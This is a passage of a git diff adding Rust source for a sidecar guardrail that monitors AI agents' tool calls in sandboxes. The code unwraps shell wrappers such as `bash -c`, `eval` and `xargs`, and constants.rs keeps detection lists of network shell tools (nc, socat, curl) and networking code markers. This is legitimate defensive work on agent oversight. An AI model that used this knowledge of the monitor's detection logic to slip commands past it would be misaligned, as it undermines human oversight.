+ + /// Parse a bash script string into an AST. + /// + /// # Errors + /// + /// Returns `SidecarError` if the connection fails or the server returns an error. + pub async fn parse(&self, script: &str) -> Result { + if script.is_empty() || script.trim().is_empty() { + return Ok(serde_json::json!({"type": "empty"})); + } + + let response = self + .send_request(&serde_json::json!({"method": "parse", "script": script})) + .await?; + + Ok(response + .get("result") + .cloned() + .unwrap_or_else(|| Value::Object(Map::default()))) + } + + /// Convert an AST back into a bash script string. + /// + /// # Errors + /// + /// Returns `SidecarError` if the connection fails or the server returns an error. + pub async fn to_bash(&self, ast: &Value) -> Result { + let response = self + .send_request(&serde_json::json!({"method": "to_bash", "ast": ast})) + .await?; + + Ok(response + .get("result") + .and_then(Value::as_str) + .unwrap_or_default() + .into()) + } + + /// Ping the server. Returns `true` on success. + pub async fn ping(&self) -> bool { + self.send_request(&serde_json::json!({"method": "ping"})) + .await + .is_ok() + } + + /// Close the connection. + pub async fn close(&self) { + *self.inner.lock().await = None; + debug!("bash-ast connection closed"); + } +} diff --git a/traits/capability-ratchet/src/bash_unwrap.rs b/traits/capability-ratchet/src/bash_unwrap.rs new file mode 100644 index 0000000..f8db5de --- /dev/null +++ b/traits/capability-ratchet/src/bash_unwrap.rs @@ -0,0 +1,351 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Recursive `bash -c` unwrapping and subcommand extraction. +//! +//! When a command is `bash -c "..."`, we parse the inner script and analyze +//! the actual commands, not just "bash". + +use std::collections::HashSet; +use std::path::Path; + +use futures::future::BoxFuture; +use serde_json::Value; +use tracing::warn; + +use crate::bash_ast::BashAstClient; +use crate::constants::SHELLS; +use crate::error::SidecarError; + +/// Result type for command extraction: a list of (command, optional subcommand) pairs. +type ExtractResult<'a> = BoxFuture<'a, Result)>, SidecarError>>; + +// --------------------------------------------------------------------------- +// xargs flags that consume a following argument +// --------------------------------------------------------------------------- + +static XARGS_FLAGS_WITH_ARG: std::sync::LazyLock> = std::sync::LazyLock::new(|| { + ["-I", "-J", "-L", "-n", "-P", "-R", "-S", "-s", "-d", "-E"] + .into_iter() + .collect() +}); + +// --------------------------------------------------------------------------- +// Quote stripping +// --------------------------------------------------------------------------- + +fn strip_quotes(s: &str) -> &str { + if s.len() >= 2 { + let bytes = s.as_bytes(); + if (bytes[0] == b'"' || bytes[0] == b'\'') && bytes[0] == bytes[s.len() - 1] { + return &s[1..s.len() - 1]; + } + } + s +} + +// --------------------------------------------------------------------------- +// Word text extraction +// --------------------------------------------------------------------------- + +fn word_text(word: &Value) -> String { + // bash-ast canonical field + if let Some(w) = word.get("word").and_then(Value::as_str) + && !w.is_empty() + { + return strip_quotes(w).to_string(); + } + if let Some(t) = word.get("text").and_then(Value::as_str) + && !t.is_empty() + { + return strip_quotes(t).to_string(); + } + // Parts-based word + if let Some(parts) = word.get("parts").and_then(Value::as_array) { + for part in parts { + if let Some(t) = part.get("type").and_then(Value::as_str) + && (t == "variable" || t == "parameter_expansion") + { + return "$VARIABLE".into(); + } + } + return parts + .iter() + .filter_map(|p| p.get("text").and_then(Value::as_str)) + .collect::>() + .join(""); + } + String::new() +} + +// --------------------------------------------------------------------------- +// Subcommand extraction +// --------------------------------------------------------------------------- + +/// Extract `(command, subcommand)` from AST words. +pub fn extract_subcommand(words: &[Value]) -> (String, Option) { + if words.is_empty() { + return (String::new(), None); + } + + let first_word = word_text(&words[0]); + + // Variable command + if first_word.starts_with('$') { + return ("$VARIABLE".into(), None); + } + + // Strip path: /usr/bin/git -> git + let cmd = Path::new(&first_word) + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or(&first_word) + .to_string(); + + // Look for first non-flag argument after the command + for word in &words[1..] { + let text = word_text(word); + if !text.starts_with('-') { + return (cmd, Some(text)); + } + } + + (cmd, None) +} + +// --------------------------------------------------------------------------- +// -c flag detection +// --------------------------------------------------------------------------- + +fn find_dash_c_script(words: &[Value]) -> Option { + for (i, word) in words.iter().enumerate() { + let text = word_text(word); + + // Exact -c flag + if text == "-c" { + return words.get(i + 1).map(word_text); + } + + // Combined flags like -ic, -lc, etc. + if text.starts_with('-') && !text.starts_with("--") && text.len() > 2 && text.ends_with('c') + { + return words.get(i + 1).map(word_text); + } + } + None +} + +// --------------------------------------------------------------------------- +// xargs inner command extraction +// --------------------------------------------------------------------------- + +fn extract_xargs_command(words: &[Value]) -> Vec { + let mut i = 0; + while i < words.len() { + let text = word_text(&words[i]); + + if XARGS_FLAGS_WITH_ARG.contains(text.as_str()) { + i += 2; + continue; + } + if text.starts_with('-') { + i += 1; + continue; + } + return words[i..].to_vec(); + } + Vec::new() +} + +// --------------------------------------------------------------------------- +// Recursive unwrap +// --------------------------------------------------------------------------- + +/// Recursively unwrap `bash -c` and extract all (cmd, subcmd) pairs. +pub fn unwrap_and_extract<'a>( + ast: &'a Value, + client: &'a BashAstClient, + max_depth: usize, + depth: usize, +) -> ExtractResult<'a> { + Box::pin(async move { + if depth >= max_depth { + warn!(depth = depth, "bash_unwrap_max_depth"); + return Ok(Vec::new()); + } + + let node_type = ast.get("type").and_then(Value::as_str).unwrap_or_default(); + + match node_type { + "simple" => handle_simple(ast, client, max_depth, depth).await, + "pipeline" => { + let commands = ast + .get("commands") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default(); + handle_list_node(&commands, client, max_depth, depth).await + } + "list" | "and" | "or" => { + let mut results = Vec::new(); + if let Some(left) = ast.get("left") { + results.extend(unwrap_and_extract(left, client, max_depth, depth).await?); + } + if let Some(right) = ast.get("right") { + results.extend(unwrap_and_extract(right, client, max_depth, depth).await?); + } + // Some AST formats use "commands" for lists + let left = ast.get("left"); + let right = ast.get("right"); + if left.is_none() && right.is_none() { + let commands = ast + .get("commands") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default(); + if !commands.is_empty() { + results + .extend(handle_list_node(&commands, client, max_depth, depth).await?); + } + } + Ok(results) + } + "subshell" | "group" => { + if let Some(body) = ast.get("body") { + return unwrap_and_extract(body, client, max_depth, depth).await; + } + let commands = ast + .get("commands") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default(); + handle_list_node(&commands, client, max_depth, depth).await + } + "for" | "while" | "until" => { + if let Some(body) = ast.get("body") { + return unwrap_and_extract(body, client, max_depth, depth).await; + } + Ok(Vec::new()) + } + "if" => handle_if(ast, client, max_depth, depth).await, + "case" => handle_case(ast, client, max_depth, depth).await, + "empty" => Ok(Vec::new()), + _ => { + // Unknown type: try to extract words if present + Ok(ast + .get("words") + .and_then(Value::as_array) + .map_or_else(Vec::new, |words| vec![extract_subcommand(words)])) + } + } + }) +} + +async fn handle_simple( + ast: &Value, + client: &BashAstClient, + max_depth: usize, + depth: usize, +) -> Result)>, SidecarError> { + let words = match ast.get("words").and_then(Value::as_array) { + Some(w) if !w.is_empty() => w, + _ => return Ok(Vec::new()), + }; + + let cmd_text = word_text(&words[0]); + let base_cmd = Path::new(&cmd_text) + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or(&cmd_text) + .to_string(); + + // Check if this is a shell with -c + if SHELLS.contains(base_cmd.as_str()) + && let Some(script) = find_dash_c_script(words) + { + let inner_ast = client.parse(&script).await?; + return unwrap_and_extract(&inner_ast, client, max_depth, depth + 1).await; + } + + // eval: re-parse concatenated arguments as shell code + if base_cmd == "eval" { + let script: String = words[1..] + .iter() + .map(word_text) + .collect::>() + .join(" "); + if !script.is_empty() { + let inner_ast = client.parse(&script).await?; + return unwrap_and_extract(&inner_ast, client, max_depth, depth + 1).await; + } + } + + // xargs: extract the inner command after xargs's own flags + if base_cmd == "xargs" { + let inner = extract_xargs_command(&words[1..]); + if !inner.is_empty() { + return Ok(vec![extract_subcommand(&inner)]); + } + } + + // Not a wrapper: extract directly + Ok(vec![extract_subcommand(words)]) +} + +async fn handle_list_node( + commands: &[Value], + client: &BashAstClient, + max_depth: usize, + depth: usize, +) -> Result)>, SidecarError> { + let mut results = Vec::new(); + for cmd in commands { + results.extend(unwrap_and_extract(cmd, client, max_depth, depth).await?); + } + Ok(results) +} + +async fn handle_if( + ast: &Value, + client: &BashAstClient, + max_depth: usize, + depth: usize, +) -> Result)>, SidecarError> { + let mut results = Vec::new(); + + if let Some(condition) = ast.get("condition") { + results.extend(unwrap_and_extract(condition, client, max_depth, depth).await?); + } + let then_body = ast.get("then").or_else(|| ast.get("body")); + if let Some(body) = then_body { + results.extend(unwrap_and_extract(body, client, max_depth, depth).await?); + } + if let Some(else_body) = ast.get("else") { + results.extend(unwrap_and_extract(else_body, client, max_depth, depth).await?); + } + + Ok(results) +} + +async fn handle_case( + ast: &Value, + client: &BashAstClient, + max_depth: usize, + depth: usize, +) -> Result)>, SidecarError> { + let mut results = Vec::new(); + + let items = ast + .get("items") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default(); + + for item in &items { + if let Some(body) = item.get("body") { + results.extend(unwrap_and_extract(body, client, max_depth, depth).await?); + } + } + + Ok(results) +} diff --git a/traits/capability-ratchet/src/config.rs b/traits/capability-ratchet/src/config.rs new file mode 100644 index 0000000..976994e --- /dev/null +++ b/traits/capability-ratchet/src/config.rs @@ -0,0 +1,119 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Sidecar configuration loading from YAML. + +use std::path::{Path, PathBuf}; + +use serde::Deserialize; + +use crate::error::SidecarError; + +/// Upstream inference backend configuration. +#[derive(Debug, Clone)] +pub struct BackendConfig { + pub url: String, + pub api_key: String, + pub model: Option, +} + +/// HTTP server listen configuration. +#[derive(Debug, Clone)] +pub struct ListenConfig { + pub host: String, + pub port: u16, +} + +impl Default for ListenConfig { + fn default() -> Self { + Self { + host: "127.0.0.1".into(), + port: 4001, + } + } +} + +/// Top-level sidecar configuration. +#[derive(Debug, Clone)] +pub struct SidecarConfig { + pub backend: BackendConfig, + pub policy_file: PathBuf, + pub listen: ListenConfig, + pub bash_ast_socket: Option, + pub shadow_mode: bool, +} + +// Raw YAML deserialization structs. +#[derive(Deserialize)] +struct RawUpstream { + url: Option, + api_key_env: Option, + model: Option, +} + +#[derive(Deserialize)] +struct RawListen { + host: Option, + port: Option, +} + +#[derive(Deserialize)] +struct RawConfig { + upstream: Option, + policy_file: Option, + listen: Option, + bash_ast_socket: Option, + shadow_mode: Option, +} + +impl SidecarConfig { + /// Load configuration from a YAML file. + /// + /// # Errors + /// + /// Returns `SidecarError` if the file cannot be read or parsed. + pub fn from_yaml(path: &Path) -> Result { + let content = std::fs::read_to_string(path) + .map_err(|e| SidecarError::Config(format!("cannot read {}: {e}", path.display())))?; + let raw: RawConfig = serde_yaml::from_str(&content)?; + Ok(Self::from_raw(raw)) + } + + fn from_raw(raw: RawConfig) -> Self { + let upstream = raw.upstream.unwrap_or(RawUpstream { + url: None, + api_key_env: None, + model: None, + }); + + let api_key_env = upstream.api_key_env.as_deref().unwrap_or("API_KEY"); + let api_key = std::env::var(api_key_env).unwrap_or_default(); + + let backend = BackendConfig { + url: upstream + .url + .unwrap_or_else(|| "http://localhost:1234/v1".into()), + api_key, + model: upstream.model, + }; + + let listen_raw = raw.listen.unwrap_or(RawListen { + host: None, + port: None, + }); + let listen = ListenConfig { + host: listen_raw.host.unwrap_or_else(|| "127.0.0.1".into()), + port: listen_raw.port.unwrap_or(4001), + }; + + Self { + backend, + policy_file: PathBuf::from( + raw.policy_file.unwrap_or_else(|| "/app/policy.yaml".into()), + ), + listen, + bash_ast_socket: raw.bash_ast_socket, + shadow_mode: raw.shadow_mode.unwrap_or(false), + } + } +} diff --git a/traits/capability-ratchet/src/constants.rs b/traits/capability-ratchet/src/constants.rs new file mode 100644 index 0000000..1ae0237 --- /dev/null +++ b/traits/capability-ratchet/src/constants.rs @@ -0,0 +1,101 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Security-sensitive constants — single source of truth. + +use std::collections::HashSet; + +/// Shell binaries — used by `bash_unwrap` for `-c` unwrapping. +pub static SHELLS: std::sync::LazyLock> = + std::sync::LazyLock::new(|| ["bash", "sh", "zsh", "ksh", "dash"].into_iter().collect()); + +/// All tool names treated as bash/shell invocations. +pub static BASH_TOOL_NAMES: std::sync::LazyLock> = + std::sync::LazyLock::new(|| { + [ + "bash", + "sh", + "zsh", + "ksh", + "dash", + "shell", + "execute_command", + ] + .into_iter() + .collect() + }); + +/// GTFOBins-informed network commands. +pub static NETWORK_COMMANDS: std::sync::LazyLock> = + std::sync::LazyLock::new(|| { + [ + "curl", + "wget", + "aria2c", + "axel", + "nc", + "netcat", + "ncat", + "socat", + "ssh", + "scp", + "sftp", + "rsync", + "sshfs", + "ftp", + "tftp", + "lftp", + "telnet", + "rlogin", + "rsh", + "rcp", + "http", + "https", // httpie + "hping3", + "smbclient", + "whois", + "finger", + "ab", + "gawk", // GTFOBins: /inet/tcp sockets + ] + .into_iter() + .collect() + }); + +/// Interpreter commands. +pub static INTERPRETER_COMMANDS: std::sync::LazyLock> = + std::sync::LazyLock::new(|| { + [ + "python", "python3", "python2", "ruby", "node", "perl", "php", "lua", "julia", + "Rscript", + ] + .into_iter() + .collect() + }); + +/// Network code indicators for interpreter inline code analysis. +pub static NETWORK_CODE_INDICATORS: &[&str] = &[ + "urllib", + "requests", + "httpx", + "aiohttp", + "socket", + "http.client", + "httplib", + "ftplib", + "smtplib", + "telnetlib", + "fetch(", + "axios", + ".get(", + ".post(", + "net/http", + "open-uri", + "httparty", + "LWP", + "HTTP::", + "IO::Socket", + "curl_", + "fsockopen", + "file_get_contents", +]; diff --git a/traits/capability-ratchet/src/error.rs b/traits/capability-ratchet/src/error.rs new file mode 100644 index 0000000..61dc3ff --- /dev/null +++ b/traits/capability-ratchet/src/error.rs @@ -0,0 +1,35 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Unified error type for the capability ratchet sidecar. + +/// All errors the sidecar can produce. +#[derive(Debug, thiserror::Error)] +pub enum SidecarError { + #[error("config error: {0}")] + Config(String), + + #[error("policy validation error: {0}")] + PolicyValidation(String), + + #[error("bash-ast error: {0}")] + BashAst(String), + + #[error("bash syntax error: {0}")] + BashSyntax(String), + + #[error("bash-ast unavailable: {0}")] + BashAstUnavailable(String), + + #[error("proxy error: {0}")] + Proxy(#[from] reqwest::Error), + + #[error("io error: {0}")] + Io(#[from] std::io::Error), + + #[error("json error: {0}")] + Json(#[from] serde_json::Error), + + #[error("yaml error: {0}")] + Yaml(#[from] serde_yaml::Error), +} diff --git a/traits/capability-ratchet/src/known_safe.rs b/traits/capability-ratchet/src/known_safe.rs new file mode 100644 index 0000000..55ad61c --- /dev/null +++ b/traits/capability-ratchet/src/known_safe.rs @@ -0,0 +1,252 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Built-in known-safe command list for the Capability Ratchet guardrail. + +use std::collections::HashSet; + +/// Commands that produce no taint and require no special capabilities. +pub static BUILTIN_KNOWN_SAFE: std::sync::LazyLock> = + std::sync::LazyLock::new(|| { + [ + // Shell builtins + "echo", + "printf", + "cd", + "pushd", + "popd", + "export", + "source", + "set", + "unset", + "alias", + "read", + "true", + "false", + "test", + "command", + "type", + "hash", + "break", + "continue", + "return", + "exit", + "local", + "declare", + "readonly", + "shift", + "trap", + "wait", + "eval", // bash_unwrap re-parses eval arguments as shell code + // File operations + "ls", + "cat", + "head", + "tail", + "wc", + "grep", + "egrep", + "fgrep", + "rg", + "sed", + "awk", + "gawk", + "sort", + "uniq", + "cut", + "tr", + "tee", + "xargs", + "find", + "which", + "whereis", + "file", + "stat", + "du", + "df", + "mv", + "cp", + "mkdir", + "touch", + "chmod", + "chown", + "chgrp", + "ln", + "rm", + "rmdir", + "diff", + "patch", + "tar", + "gzip", + "gunzip", + "zip", + "unzip", + "basename", + "dirname", + "realpath", + "readlink", + "comm", + "join", + "paste", + "fold", + "fmt", + "nl", + "strings", + "od", + "xxd", + "hexdump", + "md5", + "md5sum", + "sha256sum", + "shasum", + "yes", + "seq", + "shuf", + // Version control + "git", + // Build and dev tools + "make", + "cmake", + "cargo", + "npm", + "yarn", + "pip", + "pip3", + "uv", + "go", + "rustc", + "javac", + "gcc", + "g++", + "cc", + "python", + "python3", + "node", + "ruby", + "perl", + "php", + "gofmt", + "goimports", + "golines", + "gofumpt", + "gosec", + "govulncheck", + "golangci-lint", + "goreleaser", + "staticcheck", + "gocyclo", + "ruff", + "mypy", + "pytest", + "black", + "isort", + "flake8", + "tsc", + "eslint", + "prettier", + "npx", + "bunx", + "bun", + "shellcheck", + "pre-commit", + // Data processing + "jq", + "yq", + "column", + "sqlite3", + // Containers and orchestration + "docker", + "kubectl", + "helm", + // System + "date", + "hostname", + "whoami", + "uname", + "env", + "pwd", + "id", + "sleep", + "kill", + "ps", + "top", + "pgrep", + "pkill", + "nohup", + "timeout", + "nice", + "less", + "more", + "vi", + "vim", + "nano", + "man", + "sync", + // Network tools + "ssh", + "scp", + "rsync", + "curl", + "wget", + "dig", + "nslookup", + "ssh-add", + "ssh-keygen", + // Package managers + "brew", + "apt", + "apt-get", + "yum", + "dnf", + // macOS + "open", + "pbcopy", + "pbpaste", + "security", + "xattr", + "dscacheutil", + "killall", + "sudo", + // CLIs + "op", + "gh", + "glab", + "az", + "aws", + "gcloud", + "litellm", + "claude", + "pi", + "jira", + "jira-cli", + "bash", + "sh", + "zsh", + "ksh", + "dash", // shells are known; bash_unwrap handles -c + "bash-ast", + "ast-grep", + "tmux", + "screen", + "bd", + "ollama", + // Archive / compression + "ar", + "dpkg-deb", + "rpm", + // Text display + "tree", + "cloc", + "ctags", + // Misc dev tools + "asciinema", + "agg", + ] + .into_iter() + .collect() + }); + +/// Check if a command is in the built-in known-safe list. +pub fn is_known_safe(cmd: &str) -> bool { + BUILTIN_KNOWN_SAFE.contains(cmd) +} diff --git a/traits/capability-ratchet/src/lib.rs b/traits/capability-ratchet/src/lib.rs new file mode 100644 index 0000000..fc3fe99 --- /dev/null +++ b/traits/capability-ratchet/src/lib.rs @@ -0,0 +1,21 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Capability Ratchet sidecar for `OpenShell` sandboxes. + +pub mod bash_ast; +pub mod bash_unwrap; +pub mod config; +pub mod constants; +pub mod error; +pub mod known_safe; +pub mod normalize; +pub mod policy; +pub mod proxy; +pub mod reversibility; +pub mod revocation; +pub mod sandbox; +pub mod server; +pub mod taint; +pub mod tool_analysis; +pub mod types; diff --git a/traits/capability-ratchet/src/main.rs b/traits/capability-ratchet/src/main.rs new file mode 100644 index 0000000..1b489af --- /dev/null +++ b/traits/capability-ratchet/src/main.rs @@ -0,0 +1,124 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! CLI entry point for the capability ratchet sidecar. + +use std::path::PathBuf; +use std::sync::Arc; + +use clap::Parser; +use tracing::info; +use tracing_subscriber::EnvFilter; +use tracing_subscriber::fmt::format::FmtSpan; + +use capability_ratchet_sidecar::bash_ast::BashAstClient; +use capability_ratchet_sidecar::config::SidecarConfig; +use capability_ratchet_sidecar::policy::Policy; +use capability_ratchet_sidecar::server::{AppState, create_router}; + +#[derive(Parser)] +#[command( + name = "capability-ratchet-sidecar", + about = "Capability Ratchet sidecar for OpenShell sandboxes" +)] +struct Cli { + /// Path to sidecar config YAML + #[arg( + long, + default_value = "/app/ratchet-config.yaml", + env = "RATCHET_CONFIG" + )] + config: PathBuf, +} + +#[tokio::main] +async fn main() { + // Initialize tracing (JSON output to stderr) + tracing_subscriber::fmt() + .with_env_filter( + EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info")), + ) + .json() + .with_span_events(FmtSpan::NONE) + .with_target(true) + .init(); + + let cli = Cli::parse(); + + if !cli.config.exists() { + eprintln!("Error: config file not found: {}", cli.config.display()); + std::process::exit(1); + } + + let config = match SidecarConfig::from_yaml(&cli.config) { + Ok(c) => c, + Err(e) => { + eprintln!("Error loading config: {e}"); + std::process::exit(1); + } + }; + + if !config.policy_file.exists() { + eprintln!( + "Error: policy file not found: {}", + config.policy_file.display() + ); + std::process::exit(1); + } + + let policy = match Policy::from_yaml(&config.policy_file) { + Ok(p) => p, + Err(e) => { + eprintln!("Error loading policy: {e}"); + std::process::exit(1); + } + }; + + // Set bash-ast socket path if configured + if let Some(ref socket) = config.bash_ast_socket { + // SAFETY: This runs at startup before spawning threads, so no data race. + unsafe { std::env::set_var("BASH_AST_SOCKET", socket) }; + } + + // Create bash-ast client if socket is configured + let bash_ast = config + .bash_ast_socket + .as_deref() + .map(|s| BashAstClient::new(Some(s))); + + let http_client = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(120)) + .build() + .expect("failed to create HTTP client"); + + let addr = format!("{}:{}", config.listen.host, config.listen.port); + + info!( + upstream = config.backend.url, + policy_file = %config.policy_file.display(), + shadow_mode = config.shadow_mode, + "sidecar_initialized", + ); + + let state = Arc::new(AppState { + config, + policy, + http_client, + bash_ast, + }); + + let app = create_router(state); + + let listener = tokio::net::TcpListener::bind(&addr) + .await + .unwrap_or_else(|e| { + eprintln!("Error binding to {addr}: {e}"); + std::process::exit(1); + }); + + info!(addr = addr, "listening"); + axum::serve(listener, app).await.unwrap_or_else(|e| { + eprintln!("Server error: {e}"); + std::process::exit(1); + }); +} diff --git a/traits/capability-ratchet/src/normalize.rs b/traits/capability-ratchet/src/normalize.rs new file mode 100644 index 0000000..45a4e6b --- /dev/null +++ b/traits/capability-ratchet/src/normalize.rs @@ -0,0 +1,598 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! API format normalization boundary. +//! +//! Converts between Chat Completions (`OpenAI`), Anthropic Messages, and +//! Responses API formats. All downstream modules operate on the internal +//! Chat Completions message schema. + +use std::collections::HashMap; + +use serde_json::{Map, Value, json}; +use tracing::{debug, warn}; + +use crate::types::ToolCall; + +static EMPTY_OBJECT: std::sync::LazyLock = + std::sync::LazyLock::new(|| Value::Object(Map::new())); +static EMPTY_ARGS_STR: std::sync::LazyLock = std::sync::LazyLock::new(|| json!("{}")); + +// ═══════════════════════════════════════════════════════════════════════════ +// Format enum (compile-time dispatch, no vtable) +// ═══════════════════════════════════════════════════════════════════════════ + +/// Supported wire formats. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum MessageFormat { + ChatCompletions, + Anthropic, + ResponsesApi, +} + +impl MessageFormat { + /// Human-readable name for logging. + #[must_use] + pub const fn name(self) -> &'static str { + match self { + Self::ChatCompletions => "chat_completions", + Self::Anthropic => "anthropic", + Self::ResponsesApi => "responses_api", + } + } + + /// Convert the request's messages to the internal format. + pub fn normalize_input(self, data: &Value) -> Vec { + match self { + Self::ChatCompletions => cc_normalize_input(data), + Self::Anthropic => anthropic_normalize_input(data), + Self::ResponsesApi => responses_normalize_input(data), + } + } + + /// Insert a system-level instruction into the request in-place. + pub fn inject_hint(self, data: &mut Value, hint_text: &str) { + match self { + Self::ChatCompletions => cc_inject_hint(data, hint_text), + Self::Anthropic => anthropic_inject_hint(data, hint_text), + Self::ResponsesApi => responses_inject_hint(data, hint_text), + } + } + + /// Pull tool calls out of the LLM response. + pub fn extract_tool_calls(self, response: &Value) -> Vec { + match self { + Self::ChatCompletions => cc_extract_tool_calls(response), + Self::Anthropic => anthropic_extract_tool_calls(response), + Self::ResponsesApi => responses_extract_tool_calls(response), + } + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// Factory +// ═══════════════════════════════════════════════════════════════════════════ + +/// Resolve the format from an optional `call_type` string or data sniffing. +pub fn resolve(data: &Value, call_type: Option<&str>) -> MessageFormat { + // 1. Authoritative: use call_type + if let Some(ct) = call_type { + match ct { + "completion" | "acompletion" => return MessageFormat::ChatCompletions, + "anthropic_messages" => return MessageFormat::Anthropic, + "responses" | "aresponses" => return MessageFormat::ResponsesApi, + _ => { + debug!(call_type = ct, "unknown_call_type_fallback"); + } + } + } + + // 2. Fallback: sniff the data dict + if let Some(messages) = data.get("messages") { + if let Some(arr) = messages.as_array() + && has_anthropic_blocks(arr) + { + return MessageFormat::Anthropic; + } + return MessageFormat::ChatCompletions; + } + MessageFormat::ResponsesApi +} + +// ═══════════════════════════════════════════════════════════════════════════ +// Convenience free functions +// ═══════════════════════════════════════════════════════════════════════════ + +/// Normalize request data to internal Chat Completions message format. +pub fn normalize_input(data: &Value, call_type: Option<&str>) -> Vec { + resolve(data, call_type).normalize_input(data) +} + +/// Extract tool calls from an LLM response (tries all formats). +pub fn extract_tool_calls(response: &Value) -> Vec { + // Responses API: output list with function_call items. + if let Some(output) = response.get("output").and_then(Value::as_array) + && !output.is_empty() + { + return responses_extract_tool_calls(response); + } + + // Anthropic: content list with tool_use blocks. + if let Some(content) = response.get("content").and_then(Value::as_array) { + for block in content { + if block.get("type").and_then(Value::as_str) == Some("tool_use") { + return anthropic_extract_tool_calls(response); + } + } + } + + // Chat Completions: choices[0].message.tool_calls. + if let Some(choices) = response.get("choices").and_then(Value::as_array) + && !choices.is_empty() + { + return cc_extract_tool_calls(response); + } + + Vec::new() +} + +/// Inject a UX/security hint into the request. +pub fn inject_hint(data: &mut Value, hint_text: &str, call_type: Option<&str>) { + resolve(data, call_type).inject_hint(data, hint_text); +} + +// ═══════════════════════════════════════════════════════════════════════════ +// Chat Completions (OpenAI) +// ═══════════════════════════════════════════════════════════════════════════ + +fn cc_normalize_input(data: &Value) -> Vec { + data.get("messages") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default() +} + +fn cc_inject_hint(data: &mut Value, hint_text: &str) { + let messages = data.as_object_mut().and_then(|o| { + o.entry("messages") + .or_insert_with(|| Value::Array(Vec::new())) + .as_array_mut() + }); + if let Some(msgs) = messages { + msgs.insert(0, json!({"role": "system", "content": hint_text})); + } +} + +fn cc_extract_tool_calls(response: &Value) -> Vec { + let choices = match response.get("choices").and_then(Value::as_array) { + Some(c) if !c.is_empty() => c, + _ => return Vec::new(), + }; + extract_from_chat_choices(choices) +} + +// ═══════════════════════════════════════════════════════════════════════════ +// Anthropic Messages API +// ═══════════════════════════════════════════════════════════════════════════ + +fn anthropic_normalize_input(data: &Value) -> Vec { + let raw = match data.get("messages").and_then(Value::as_array) { + Some(msgs) if !msgs.is_empty() => msgs, + _ => return Vec::new(), + }; + + if !has_anthropic_blocks(raw) { + return raw.clone(); + } + + convert_anthropic_messages(raw) +} + +fn anthropic_inject_hint(data: &mut Value, hint_text: &str) { + let Some(obj) = data.as_object_mut() else { + return; + }; + + match obj.get("system") { + None => { + obj.insert("system".into(), Value::String(hint_text.into())); + } + Some(Value::String(existing)) => { + let combined = format!("{hint_text}\n\n{existing}"); + obj.insert("system".into(), Value::String(combined)); + } + Some(Value::Array(existing)) => { + let mut blocks = vec![json!({"type": "text", "text": hint_text})]; + blocks.extend(existing.iter().cloned()); + obj.insert("system".into(), Value::Array(blocks)); + } + _ => {} + } +} + +fn anthropic_extract_tool_calls(response: &Value) -> Vec { + let Some(content) = response.get("content").and_then(Value::as_array) else { + return Vec::new(); + }; + + let mut calls = Vec::new(); + for block in content { + if block.get("type").and_then(Value::as_str) != Some("tool_use") { + continue; + } + calls.push(ToolCall { + id: block + .get("id") + .and_then(Value::as_str) + .unwrap_or_default() + .into(), + name: block + .get("name") + .and_then(Value::as_str) + .unwrap_or_default() + .into(), + arguments: parse_arguments(block.get("input").unwrap_or(&EMPTY_OBJECT)), + }); + } + calls +} + +fn has_anthropic_blocks(messages: &[Value]) -> bool { + for msg in messages { + let Some(content) = msg.get("content").and_then(Value::as_array) else { + continue; + }; + for block in content { + if let Some(t) = block.get("type").and_then(Value::as_str) + && (t == "tool_use" || t == "tool_result") + { + return true; + } + } + } + false +} + +fn convert_anthropic_messages(messages: &[Value]) -> Vec { + let mut result = Vec::new(); + + for msg in messages { + let role = msg.get("role").and_then(Value::as_str).unwrap_or("user"); + let content = msg.get("content"); + + // Plain string / None content — pass through + let Some(content_arr) = content.and_then(Value::as_array) else { + let mut out = json!({"role": role, "content": content.cloned().unwrap_or(Value::Null)}); + for field in &["tool_calls", "tool_call_id", "name"] { + if let Some(val) = msg.get(*field) { + out.as_object_mut() + .unwrap() + .insert((*field).into(), val.clone()); + } + } + result.push(out); + continue; + }; + + // Split content blocks by type + let mut text_parts: Vec = Vec::new(); + let mut tool_uses: Vec<&Value> = Vec::new(); + let mut tool_results: Vec<&Value> = Vec::new(); + + for block in content_arr { + if !block.is_object() { + if let Some(s) = block.as_str() { + text_parts.push(s.into()); + } + continue; + } + let btype = block + .get("type") + .and_then(Value::as_str) + .unwrap_or_default(); + match btype { + "text" => { + if let Some(t) = block.get("text").and_then(Value::as_str) + && !t.is_empty() + { + text_parts.push(t.into()); + } + } + "tool_use" => tool_uses.push(block), + "tool_result" => tool_results.push(block), + _ => {} // image, document, etc. + } + } + + convert_anthropic_role(role, &text_parts, &tool_uses, &tool_results, &mut result); + } + + result +} + +fn convert_anthropic_role( + role: &str, + text_parts: &[String], + tool_uses: &[&Value], + tool_results: &[&Value], + result: &mut Vec, +) { + match role { + "assistant" => { + if 